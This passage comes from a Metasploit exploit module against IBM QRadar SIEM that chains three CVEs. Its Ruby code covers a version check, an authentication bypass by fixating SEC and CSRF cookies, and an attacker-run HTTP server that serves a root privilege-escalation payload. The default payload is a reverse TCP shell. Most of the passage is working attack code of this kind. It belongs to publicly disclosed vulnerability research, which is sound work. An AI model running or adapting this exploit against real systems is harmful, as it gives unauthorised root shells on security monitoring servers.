The first stage bypasses authentication by fixating session cookies. The second stage uses those authenticated sessions cookies to write a file to disk and execute that file as the "nobody" user. The third and final stage occurs when the file executed as "nobody" writes an entry into the database that causes QRadar to execute a shell script controlled by the attacker as root within the next minute. Details about these vulnerabilities can be found in the advisories listed in References. The Forensics web application is disabled in QRadar Community Edition, but the code still works, so these vulnerabilities can be exploited in all flavours of QRadar. This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8 patch 12 and 7.3.1 patch 3 are vulnerable. Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload. }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'References' => [ ['CVE', '2016-9722'], ['CVE', '2018-1418'], ['CVE', '2018-1612'], ['URL', 'https://blogs.securiteam.com/index.php/archives/3689'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'], ['URL', 'http://seclists.org/fulldisclosure/2018/May/54'], ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797'] ], 'Targets' => [ [ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ], ], 'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse', } }, 'DefaultOptions' => { 'SSL' => true, # we can only run shell scripts, so set a reverse netcat payload by default # the payload that will be run is in the first few lines of @payload 'PAYLOAD' => 'generic/shell_reverse_tcp', }, 'DisclosureDate' => 'May 28 2018', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']), OptString.new('SRVPORT', [true, 'HTTP server port', '4448']), ]) end def check res = send_request_cgi({ 'uri' => '/ForensicsAnalysisServlet/', 'method' => 'GET' }) if res.nil? vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 403 return CheckCode::Detected end CheckCode::Safe rescue ::Rex::ConnectionError vprint_error 'Connection failed' return CheckCode::Unknown end # Handle incoming requests from QRadar def on_request_uri(cli, request) print_good("#{peer} - Sending privilege escalation payload to QRadar...") print_good("#{peer} - Sit back and relax, Shelly will come visit soon!") send_response(cli, @payload) end # step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet def set_cookies @sec_cookie = SecureRandom.uuid @csrf_cookie = SecureRandom.uuid post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," + "#{@sec_cookie},#{@csrf_cookie}" res = send_request_cgi({ 'uri' => '/ForensicsAnalysisServlet/', 'method' => 'POST', 'ctype' => 'application/json', 'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};", 'vars_get' => { 'action' => 'setSecurityTokens', 'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}" }, 'data' => post_data }) if res.nil? or res.code != 200 fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies") end end def exploit print_status("#{peer} - Attempting to exploit #{target.name}") # run step 1 set_cookies # let's prepare step 2 (payload) and 3 (payload exec as root) @payload_name = rand_text_alpha_lower(3..5) root_payload = rand_text_alpha_lower(3..5) if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end http_service = (datastore['SSL'] ?
